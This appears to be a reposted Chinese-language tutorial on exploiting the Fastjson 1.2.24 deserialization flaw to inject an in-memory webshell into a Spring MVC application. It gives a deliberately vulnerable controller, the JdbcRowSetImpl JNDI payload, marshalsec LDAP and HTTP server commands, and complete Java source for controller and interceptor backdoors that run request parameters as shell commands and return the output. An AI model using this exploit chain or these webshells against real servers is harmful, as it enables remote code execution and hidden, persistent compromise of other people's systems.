狂野!利用Fastjson注入Spring內(nèi)存馬~
閱讀本文大概需要 8.5 分鐘。
來(lái)自:網(wǎng)絡(luò)。如侵,請(qǐng)聯(lián)系刪除
環(huán)境搭建
SpringMVC org.springframework.web.servlet.DispatcherServlet contextConfigLocation classpath:springmvc.xml SpringMVC /
@Controllerpublic class HelloController {@ResponseBody@RequestMapping(value = "/hello", method = RequestMethod.POST)public Object hello(@RequestParam("code")String code) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.out.println(code);Object object = JSON.parse(code);return code + "->JSON.parseObject()->" + object;}}
com.alibaba fastjson 1.2.24 junit junit 4.11 test org.springframework spring-webmvc 4.3.28.RELEASE
動(dòng)態(tài)注冊(cè)controller
1)獲取上下文
WebApplicationContext?context?=?ContextLoader.getCurrentWebApplicationContext();
WebApplicationContext?context?=?WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
WebApplicationContext?context?=?RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
WebApplicationContext?context?=?(WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",?0);
2)注冊(cè)controller
//?1.?從當(dāng)前上下文環(huán)境中獲得?RequestMappingHandlerMapping?的實(shí)例?beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通過(guò)反射獲得自定義 controller 中唯一的 Method 對(duì)象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定義訪問(wèn) controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
https://landgrey.me/blog/12/
內(nèi)存馬
import?org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;public class InjectToController {// 第一個(gè)構(gòu)造函數(shù)public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通過(guò)反射獲得自定義 controller 中test的 Method 對(duì)象Method method2 = InjectToController.class.getMethod("test");// 3. 定義訪問(wèn) controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 創(chuàng)建用于處理請(qǐng)求的對(duì)象,加入“aaa”參數(shù)是為了觸發(fā)第二個(gè)構(gòu)造函數(shù)避免無(wú)限循環(huán)InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二個(gè)構(gòu)造函數(shù)public InjectToController(String aaa) {}// controller指定的處理方法public void test() throws IOException{// 獲取request和response對(duì)象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();// 獲取cmd參數(shù)并執(zhí)行命令java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));}}
修改回顯
//?獲取request和response對(duì)象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//當(dāng)請(qǐng)求沒(méi)有攜帶指定的參數(shù)(code)時(shí),返回 404 錯(cuò)誤response.sendError(404);}}catch (Exception e){}
最終內(nèi)存馬
import?org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class InjectToController {// 第一個(gè)構(gòu)造函數(shù)public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通過(guò)反射獲得自定義 controller 中test的 Method 對(duì)象Method method2 = InjectToController.class.getMethod("test");// 3. 定義訪問(wèn) controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 創(chuàng)建用于處理請(qǐng)求的對(duì)象,加入“aaa”參數(shù)是為了觸發(fā)第二個(gè)構(gòu)造函數(shù)避免無(wú)限循環(huán)InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二個(gè)構(gòu)造函數(shù)public InjectToController(String aaa) {}// controller指定的處理方法public void test() throws IOException{// 獲取request和response對(duì)象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//當(dāng)請(qǐng)求沒(méi)有攜帶指定的參數(shù)(code)時(shí),返回 404 錯(cuò)誤response.sendError(404);}}catch (Exception e){}}}
測(cè)試
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}
python3?-m?http.server?8888

java?-cp?marshalsec-0.0.3-SNAPSHOT-all.jar?marshalsec.jndi.LDAPRefServer?http://127.0.0.1:8888/#InjectToController?9999

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}


踩坑
-》javac?InjectToController.javaInjectToController.java:16: 錯(cuò)誤: 編碼GBK的不可映射字符// 絎竴涓瀯閫犲嚱鏁?^InjectToController.java:19: 錯(cuò)誤: 編碼GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^InjectToController.java:19: 錯(cuò)誤: 編碼GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^



后記
Interceptor內(nèi)存馬
import?org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter {public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {// 獲取contextWebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 從context中獲取AbstractHandlerMapping的實(shí)例對(duì)象org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");// 反射獲取adaptedInterceptors屬性java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");field.setAccessible(true);java.util.ArrayList// 避免重復(fù)添加for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {if (adaptedInterceptors.get(i) instanceof TestInterceptor) {System.out.println("已經(jīng)添加過(guò)TestInterceptor實(shí)例了");return;}}TestInterceptor aaa = new TestInterceptor("aaa"); // 避免進(jìn)入實(shí)例創(chuàng)建的死循環(huán)adaptedInterceptors.add(aaa); // 添加全局interceptor}private TestInterceptor(String aaa){}@Overridepublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String code = request.getParameter("code");// 不干擾正常業(yè)務(wù)邏輯if (code != null) {java.lang.Runtime.getRuntime().exec(code);return true;}else {return true;}}}

參考
推薦閱讀:
面試官:你知道消息隊(duì)列如何保證數(shù)據(jù)不丟失嗎?
最近面試BAT,整理一份面試資料《Java面試BATJ通關(guān)手冊(cè)》,覆蓋了Java核心技術(shù)、JVM、Java并發(fā)、SSM、微服務(wù)、數(shù)據(jù)庫(kù)、數(shù)據(jù)結(jié)構(gòu)等等。
朕已閱?
評(píng)論
圖片
表情

